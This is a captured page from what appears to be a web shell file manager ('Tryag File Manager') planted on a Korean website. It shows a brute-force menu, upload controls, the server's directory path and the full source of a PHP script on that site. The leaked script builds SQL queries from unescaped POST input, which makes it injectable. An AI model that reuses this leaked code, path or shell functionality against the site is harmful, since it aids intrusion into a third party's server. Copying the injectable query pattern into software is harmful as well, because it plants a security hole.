Tryag File Manager
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
home
/
egg.eemo.co.kr
/
public_html
/
super5
/
Or
Select Your Path :
Upload File :
New :
File
Dir
/home/egg.eemo.co.kr/public_html/super5/farm_damdang_set_do.php
<? session_cache_limiter('no-cache, must-revalidate'); session_start(); header("Pragma: no-cache"); header("Cache-Control: no-cache,must-revalidate"); header("Content-Type: text/html; charset=utf-8"); include_once("dbconn.php"); include_once("lib.php"); foreach($_GET as $key => $value) { ${$key}=mysql_real_escape_string(trim($value)); } foreach($_POST as $key => $value) { if($key == 'sel_admin' ) { } else { ${$key}=$value; } } mysql_query("delete from farm_manager where farm_no='$no' ") or die(); if(sizeof($_REQUEST['sel_admin'])) { foreach ($_REQUEST['sel_admin'] as $value) { mysql_query("insert into farm_manager set farm_no='$no' , admin_mem_no='$value' , regdate=now() ") or die(); } } $arr_rst=array(); $arr_rst['rst']=1; echo json_encode($arr_rst); ?>